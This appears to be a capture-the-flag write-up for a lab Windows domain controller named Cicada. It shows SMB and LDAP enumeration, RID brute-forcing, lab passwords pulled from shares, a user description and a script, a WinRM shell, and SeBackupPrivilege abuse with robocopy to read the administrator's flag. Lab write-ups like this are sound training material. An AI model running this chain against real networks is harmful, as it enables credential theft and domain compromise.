

# Information Gathering

## 1) Found open ports

```
(vigneswar@VigneswarPC)-[~]
$ tcpscan 10.129.29.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 12:28 IST
Nmap scan report for 10.129.29.152
Host is up (0.74s latency).
Not shown: 65524 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2024-09-29 14:01:14Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
|_ Not valid before: 2024-08-22T20:24:16
|_ Not valid after: 2025-08-22T20:24:16
|_ ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
636/tcp   open  ssl/ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
|_ Not valid before: 2024-08-22T20:24:16
|_ Not valid after: 2025-08-22T20:24:16
|_ ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
|_ Not valid before: 2024-08-22T20:24:16
|_ Not valid after: 2025-08-22T20:24:16
|_ ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ ssl-date: TLS randomness does not represent time
|_ ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
|_ Not valid before: 2024-08-22T20:24:16
|_ Not valid after: 2025-08-22T20:24:16
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
```

## 2) Found smb shares available

```
(vigneswar@VigneswarPC)-[~]
$ smbclient -N -L '\\10.129.29.152\HR'

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
DEV            Disk
HR             Disk
IPC$           IPC       Remote IPC
NETLOGON       Disk      Logon server share
SYSVOL         Disk      Logon server share

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.29.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

## 3) Found credentials in a share

```

(vigneswar@VigneswarPC)-[~]
$ smbclient -N '\\10.129.29.152\HR'
Try "help" to get a list of possible commands.
smb: \> ls
.
..
Notice from HR.txt
4168447 blocks of size 4096. 321637 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec)
smb: \> exit

(vigneswar@VigneswarPC)-[~]
$ cat Notice\ from\ HR.txt
Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

```

Cicada\$M6Corpb\*@Lp#nZp!8

#### 4) Found user lists

```

(vigneswar@VigneswarPC)-[~/temp]
$ crackmapexec smb 10.129.29.152 -u 'guest' -p '' --rid-brute
SMB 10.129.29.152 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.129.29.152 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.129.29.152 445 CICADA-DC [+] Brute forcing RIDs
SMB 10.129.29.152 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.129.29.152 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.129.29.152 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.129.29.152 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.129.29.152 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.29.152 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.29.152 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.29.152 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.129.29.152 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.129.29.152 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.129.29.152 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.129.29.152 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.129.29.152 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.129.29.152 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.129.29.152 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)

```

#### 5) Enumerated ldap

```

(vigneswar@VigneswarPC)-[~/temp/domain]
$ ldapdomaindump ldap://10.129.1.71 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

```

| Domain users      |                   |                   |  |                               |                   |                   |                   |  |                   |      |  |
|-------------------|-------------------|-------------------|--|-------------------------------|-------------------|-------------------|-------------------|--|-------------------|------|--|
| CN                | name              | SAM Name          | Member of groups   | Primary group                 | Created on        | Changed on        | lastLogon         | Flags  | pwdLastSet        | SID  | description  |
| Emily Oscars      | Emily Oscars      | emily.oscars      | <a href="#">Remote Management Users, Backup Operators</a>  | <a href="#">Domain Users</a>  | 08/22/24 21:20:17 | 08/29/24 21:48:05 | 01/01/01 00:00:00 | NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD                 | 08/22/24 21:20:17 | 1601 |  |
| David Orelious    | David Orelious    | david.orelious    |  | <a href="#">Domain Users</a>  | 03/14/24 12:17:29 | 08/28/24 17:25:57 | 03/15/24 06:32:21 | NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD                 | 03/14/24 12:17:29 | 1108 | Just in case i forget my password is aRt\$Lp#7t*VQ!3     |
| Michael Wrightson | Michael Wrightson | michael.wrightson |  | <a href="#">Domain Users</a>  | 03/14/24 12:17:29 | 09/29/24 16:36:38 | 09/29/24 16:36:38 | NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD                 | 03/14/24 12:17:29 | 1106 |  |
| Sarah Dantelia    | Sarah Dantelia    | sarah.dantelia    |  | <a href="#">Domain Users</a>  | 03/14/24 12:17:29 | 08/28/24 17:26:29 | 01/01/01 00:00:00 | NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD                 | 03/14/24 12:17:29 | 1105 |  |
| John Smoulder     | John Smoulder     | john.smoulder     |  | <a href="#">Domain Users</a>  | 03/14/24 12:17:28 | 08/28/24 17:26:15 | 01/01/01 00:00:00 | NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD                 | 03/14/24 12:17:29 | 1104 |  |
| krbtgt            | krbtgt            | krbtgt            | <a href="#">Denied RODC Password Replication Group</a>   | <a href="#">Domain Users</a>  | 03/14/24 11:14:10 | 08/28/24 12:16:48 | 01/01/01 00:00:00 | ACCOUNT_DISABLED, NORMAL_ACCOUNT                   | 03/14/24 11:14:10 | 502  | Key Distribution Center Service Account                  |
| Guest             | Guest             | Guest             | <a href="#">Guests</a>   | <a href="#">Domain Guests</a> | 03/14/24 11:09:25 | 08/28/24 17:26:56 | 03/15/24 06:18:24 | PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD | 08/28/24 17:26:56 | 501  | Built-in account for guest access to the computer/domain |
| Administrator     | Administrator     | Administrator     | <a href="#">Group Policy Creator Owners, Domain Admins, Enterprise Admins, Schema Admins, Administrators</a> | <a href="#">Domain Users</a>  | 03/14/24 11:09:25 | 09/23/24 16:06:01 | 09/29/24 15:20:27 | NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD                 | 08/26/24 20:08:03 | 500  | Built-in account for administering the computer/domain   |

david.orelious:aRt\$Lp#7t\*VQ!3

6) Found a script

```
(vigneswar@VigneswarPC)-[~/temp]
$ smbclient '\\10.129.1.71\DEV' -U 'cicada.htb@david.orelious%aRt$Lp#7t*VQ!3'
Try "help" to get a list of possible commands.
smb: \> ls
.                D                0   Thu Mar 14 18:01:39 2024
..               D                0   Thu Mar 14 17:51:29 2024
Backup_script.ps1 A            601  Wed Aug 28 22:58:22 2024

4168447 blocks of size 4096. 331440 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> exit

(vigneswar@VigneswarPC)-[~/temp]
$ |
```

```
(vigneswar@VigneswarPC)-[~/temp]
$ cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_{$dateStamp}.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

(vigneswar@VigneswarPC)-[~/temp]
$ |
```

emily.oscars:Q!3@Lp#M6b\*7t\*Vt

# Exploitation

1) Connected with winrm

```
(vigneswar@VigneswarPC)-[~]
$ evil-winrm -i 10.129.1.71 -u emily.oscars --password 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> ls

Directory: C:\Users\emily.oscars.CICADA

Mode                LastWriteTime         Length Name
----                -
d-r---            8/28/2024 10:32 AM             Desktop
d-r---            8/22/2024  2:22 PM             Documents
d-r---            5/8/2021  1:20 AM             Downloads
d-r---            5/8/2021  1:20 AM             Favorites
d-r---            5/8/2021  1:20 AM             Links
d-r---            5/8/2021  1:20 AM             Music
d-r---            5/8/2021  1:20 AM             Pictures
d-----            5/8/2021  1:20 AM             Saved Games
d-r---            5/8/2021  1:20 AM             Videos
```

## Privilege Escalation

1) We have backup privilege

```
*Evil-WinRM* PS C:\Users> whoami /priv

PRIVILEGES INFORMATION
-----

Privilege Name            Description                State
=====
SeBackupPrivilege         Back up files and directories Enabled
SeRestorePrivilege        Restore files and directories Enabled
SeShutdownPrivilege       Shut down the system       Enabled
SeChangeNotifyPrivilege   Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users> |
```

2) Used it to backup the root flag

```
*Evil-WinRM* PS C:\Users\Public> robocopy /B C:\Users\Administrator\Desktop\ c:\Public\root
```

```
-----  
ROBOCOPY      ::      Robust File Copy for Windows  
-----
```

```
Started : Sunday, September 29, 2024 9:58:56 AM
```

```
Source : C:\Users\Administrator\Desktop\  
Dest : c:\Public\root\  
Files : *.*  
Options : *.* /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30  
-----
```

```
0%      New Dir      3      C:\Users\Administrator\Desktop\  
100%    New File      32      .root.txt.txt  
  
0%      New File      282     desktop.ini  
100%  
  
0%      New File      34      root.txt  
100%
```

```
cat*Evil-WinRM* PS C:\Public\root> cat root.txt
```

```
0fd132d91200126d1aa5312adc4832de
```

```
*Evil-WinRM* PS C:\Public\root> |
```